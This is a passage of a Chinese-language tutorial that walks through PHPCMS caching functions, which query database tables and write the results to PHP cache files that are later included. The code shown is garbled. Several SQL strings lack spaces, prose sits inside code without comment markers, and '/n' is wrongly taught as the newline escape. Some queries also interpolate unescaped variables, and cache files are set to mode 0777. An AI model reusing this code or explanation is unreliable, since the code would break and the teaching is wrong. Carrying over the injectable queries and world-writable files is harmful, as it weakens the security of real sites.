//所以取出的内容要unserialize 反窜行.我是挺喜欢使用serialize 函数的。他可以实现把一个数组存到数据库或把一个对象存到数据库。或是拿来GET传递都行。
//太强了。大家可以试用下。可能你项目某个地方需要用到哦。
$fields = array();
$result = $db->query("SELECT * FROM ".TABLE_FIELD." ORDER BY fieldid"); //下栽模块的信息,请自己看下这个表的数据就明白
    while($r = $db->fetch_array($result))
{
  $tablename = $r['tablename'];
  $fields[$tablename] .= ','.$r['name'];
}
$CACHE['field'] = $fields;
cache_write('common.php', $CACHE); //开始把$CACHE 数组写到 common.php 这个文本缓存里。大家可以自己去打开这个文件看下内容。一切了然
    return $CACHE;
}
function cache_update($action='')//更新文本缓存。最好在后台操作使用。因为PHP的文件flock 文件锁在某些平台使用不是很好。会出现多用户同写一个文件从而破坏缓存文件
{
global $db;
$data=array();
switch($action)
{
  case 'keylink';
   $query=$db->query("SELECT linktext,linkurl FROM ".TABLE_KEYLINK." where passed=1");
   while($r=$db->fetch_array($query)){
      $data[]=$r;
   }
  break;
  case 'reword';
   $query = $db->query("SELECT word,replacement FROM ".TABLE_REWORD." where passed=1");
   while($r = $db->fetch_array($query))
   {
    $data[]=$r;
   }
  break;
  default:
   $actions = array('keylink','reword');
   array_map('cache_update', $actions);
   return TRUE;
}
cache_write('cache_'.$action.'.php', $data);
return $data;
}
function cache_table()
{
global $db,$CONFIG;
$query = $db->query("SHOW TABLES FROM `".$CONFIG['dbname']."`");
/**
显示数据库里面的所有表名
*/
while($r = $db->fetch_row($query))
{
  $table = $r[0];
  if(preg_match("/^".$CONFIG['tablepre']."/i", $table)) //寻找表前缀等于 $CONFIG['tablepre'] (在config.inc.php里设置) @@表前缀还有这个作用 嘿嘿
  {
   $tablename = str_replace($CONFIG['tablepre'], 'table_', $table);
   $data[$tablename] = $table;    //  $data['table_xx'] = xx; 形式   只能意会下了
  }
}
$db->free_result($query);  //$db->free_result()  这个类方法其实是掉用了函数:mysql_free_result() 函数 主要是为了清除数据库大的查询而占用的内存。还是有必要的哦
if(!is_dir(PHPCMS_CACHEDIR)) // 常量 PHPCMS_CACHEDIR 在 common.inc.php 里面定义的。大家不记得了去看看吧。是存放phpcms 缓存目录的路径,这里意思是:如果缓存目录不存在
{
  dir_create(PHPCMS_CACHEDIR); //如果缓存目录不存在那么就创建
  dir_create($CONFIG['templatescachedir']); //创建编译后的PHP模板目录,有关phpcms模板引擎编写。在下一章合适就开讲
  /**
  dir_create() 函数为创建 目录函数。PHPCMS自己封装的,刚看了下。phpcms 挺强。这个函数还可以通过ftp 来创建目录。这样就可以解决一些 开启了安全模式下的服务器对于创建目录等出现的问题
  因为涉及到PHP FTP 知识。所以打算讲解到下面再说。
  */
}
cache_write('table.php', $data , 'constant'); //很多朋友说找不到phpcms 表常量在那里定义的。就是在这里。
/**
cache_write() 函数在global.func.php里面定义的。是把 已经从数据库取出来的数组信息写到 PHP文本上去。@@文本缓存关键的一步  废话少说上菜:
  function cache_write($file, $string, $type = 'array')
  {
   if(is_array($string)) //检测 $string 内容是字符窜的呢还是数组的,是数组的那就继续 ..
   {
    $type = strtolower($type);
    if($type == 'array')//然后再判断这个函数的模式标致 ,是否为数组模式,默认为数组模式
    {
     $string = "<?php/n return ".var_export($string,TRUE).";/n?>";
     //这个太关键了。因为我们把数据库的信息写到文本上去的时候。是以符合PHP语法的格式写进去的。为什么呢?@@ 十分废话,因为如果不是以PHP格式写到文件里面去
     那么这个PHP文件怎么能给我们include 进程序运行调用呢? 呵呵。 知道这一点就真的明白文本缓存的实现了。忒简单。 这里使用了个小技巧:使用了 var_export() 函数
     这个函数会返回一个变量的字符窜形式。这个函数太有帮助了。如果没有这个函数,我们还要自己想办法实现呢。自己写一次文本缓存就明白了。会碰到这个问题的。 '/n' 这个是
     文本文件的换行。初学者 别把<br> 和 '/n' 搞混罗。 一个是html 的 一个是文本文件的
    }
    elseif($type == 'constant') //以内容形式
    {
     $data='';
     foreach($string as $key => $value) $data .= "define('".strtoupper($key)."','".addslashes($value)."');/n";
     $string = "<?php/n".$data."/n?>";
     如果以内容形式的话。就不是写数组到文本里面了。而是把内容都定义成常量。
    }
   }
   $strlen = file_put_contents(PHPCMS_CACHEDIR.$file, $string);//file_put_contents()函数 是PHP5才支持的 效率最好。建议使用
   chmod(PHPCMS_CACHEDIR.$file, 0777); 设置目录 为可读可写可执行
   return $strlen; //返回写到文本的字节数
  }
 
  再说多一个读 缓存文件的操作函数  :上菜
  function cache_read($file, $mode = 'i')
   {
    $cachefile = PHPCMS_CACHEDIR.$file;
    if(!file_exists($cachefile)) return array();
    return $mode == 'i' ? include $cachefile : file_get_contents($cachefile);
   }
   读缓存其实就是 include php缓存文件。 讲完走人
*/
return $data;
}
/**
phpcms 的所有数据库表名 都用根据数据库当前的表名来用常量来进行定义。我认为这样设计不是很好。不够灵活:比如如果我们更改数据库的一个表名的话。
那么会出现找不到表的错误信息。而且想要修复还很麻烦。就是说不能随便更改表名了。不推荐大家这样写。我们可以把表名都定义在一个PHP文件里面。这样我们以后
要改某个表名,就很方便了。
*/
function cache_module($module = '')
{
global $db;
if($module)
{
  $r = $db->get_one("SELECTsetting,module,name,iscopy,moduledir,moduledomain FROM ".TABLE_MODULE."WHERE module='$module'"); //模块具体信息
  if($r['setting'])
  {
   $setting = unserialize($r['setting']); //讲过了反窜行。因为里面信息是窜行化后再存到数据库的
  }
  $setting['name'] = $r['name'];
  $setting['moduledir'] = $r['moduledir'];
  $setting['moduledomain'] = $r['moduledomain'];
  $setting['linkurl'] = '';
  if($r['module'] != 'phpcms' && $r['iscopy'] == 0)
  {
   $setting['linkurl'] = linkurl($r['moduledomain'] ? dir_path($r['moduledomain']) : $r['moduledir'].'/');
            cache_categorys($module);
  }
  unset($r['moduledomain']);
  cache_write($module.'_setting.php', $setting);
  return $setting;
}
else
{
  $query = $db->query("SELECT module FROM ".TABLE_MODULE." WHERE disabled=0 ORDER by moduleid");
  while($r = $db->fetch_array($query))
  {
   cache_module($r['module']);
   $modules[] = $r['module'];
        }
  return $modules;
}
}
function cache_channel($channelid=0)
{
global $db;
if($channelid)
{
  $data = $db->get_one("SELECT * FROM ".TABLE_CHANNEL." WHERE channelid=$channelid");
  if($data && !$data['islink'])
  {
   if($data['setting'])
   {
          $setting = unserialize($data['setting']);
    unset($data['setting']);
    $data = is_array($setting) ? array_merge($data, $setting) : $data;
   }
   $data['linkurl'] = linkurl($data['linkurl']);
   cache_write('channel_'.$channelid.'.php', $data);
   cache_categorys($channelid);
   return $data;
  }
    }
else
{
  $query = $db->query("SELECT channelid FROM ".TABLE_CHANNEL." WHERE islink=0 AND disabled=0 ORDER by channelid");
  while($r = $db->fetch_array($query))
  {
   cache_channel($r['channelid']);
   $channelids[] = $r['channelid'];
  }
  return $channelids;
}
}
function cache_categorys($keyid)
{
global $db,$PHPCMS,$CHANNEL;
$urlpre = '';
if(is_numeric($keyid))
{
  $keyid = intval($keyid);
  $module = $CHANNEL[$keyid]['module'];
        $sql = " channelid=$keyid ";
}
else
{
        $sql = " module='$keyid' ";
}
$catids = $data = array();
    $query = $db->query("SELECTmodule,channelid,catid,catname,style,introduce,catpic,islink,catdir,linkurl,parentid,arrparentid,parentdir,child,arrchildid,items,itemordertype,itemtarget,ismenu,islist,ishtml,htmldir,prefix,urlruleid,item_prefix,item_html_urlruleid,item_php_urlruleidFROM ".TABLE_CATEGORY." WHERE $sql ORDER by listorder,catid");
    while($r = $db->fetch_array($query))
{
  $r['linkurl'] = str_replace($PHPCMS['index'].'.'.$PHPCMS['fileext'], '', $r['linkurl']);
     $r['linkurl'] = $urlpre ? preg_replace("|^".$urlpre."|", '', $r['linkurl']) : linkurl($r['linkurl']);
  $catid = $r['catid'];
        $data[$catid] = $r;
  $catids[] = $catid;
    }
if($data) cache_write('categorys_'.$keyid.'.php', $data); //写缓存罗。
return $catids;
}
function cache_category($catid)
{
global $db,$PHPCMS;
if(!$catid) return FALSE;
    $data = $db->get_one("SELECT * FROM ".TABLE_CATEGORY." WHERE catid=$catid");
$setting = unserialize($data['setting']);
unset($data['setting']);
$data = is_array($setting) ? array_merge($data, $setting) : $data;
$data['linkurl'] = linkurl(str_replace($PHPCMS['index'].'.'.$PHPCMS['fileext'], '', $data['linkurl']));
cache_write('category_'.$catid.'.php', $data);
return $data;
}
function cache_type($keyid=0)
{
global $db;
if($keyid)
{
     $result = $db->query("SELECT * FROM ".TABLE_TYPE." WHERE keyid='$keyid'");
     $data = array();
     while($r = $db->fetch_array($result))
     {
   $r['introduce'] = $r['introduce']? $r['introduce']:' ';
      $data[$r['typeid']] = $r;
     }
     if($data)
     {
   cache_write('type_'.$keyid.'.php', $data);
     }
  return $data;
}
else
{
  $modules = array();
  $query = $db->query("SELECT module FROM ".TABLE_MODULE." WHERE disabled=0 ORDER by moduleid");
  while($r = $db->fetch_array($query))
  {
   $modules[] = $r['module'];
        }
  $channelids = array();
  $query = $db->query("SELECT channelid FROM ".TABLE_CHANNEL." WHERE islink=0 AND disabled=0 ORDER by channelid");
  while($r = $db->fetch_array($query))
  {
   $channelids[] = $r['channelid'];
  }
  $modulechannels = array_merge($modules,$channelids);
  foreach($modulechannels as $m)
  {
   $result = $db->query("SELECT * FROM ".TABLE_TYPE." WHERE keyid='$m'");
   $TYPE = array();
   while($r = $db->fetch_array($result))
   {
    $r['introduce'] = $r['introduce']? $r['introduce']:' ';
    $TYPE[$r['typeid']] = $r;
   }
   cache_write('type_'.$m.'.php',$TYPE);
  }
  return $modulechannels;
}
}
function cache_member_group()
{
global $db;
$query = $db->query("SELECT * FROM ".TABLE_MEMBER_GROUP." ORDER BY groupid"); //用户组信息
while($r = $db->fetch_array($query))
{
  $groupid = $r['groupid'];
  cache_write('member_group_'.$groupid.'.php', $r);
  $data[$groupid] = $r;
}
cache_write('member_group.php', $data); //明白了吧。写缓存罗
return $data;
}
function cache_banip()
{
global $db,$PHP_TIME;
$result = $db->query("SELECT ip,overtime FROM ".TABLE_BANIP." WHERE ifban=1 and overtime>=$PHP_TIME order by id desc ");
while($r = $db->fetch_array($result))
{
  $data[] = array('ip'=>$r['ip'],'overtime'=>$r['overtime']);
}
$db->free_result($result);
cache_write('banip.php', $data);
return $data;
}
?>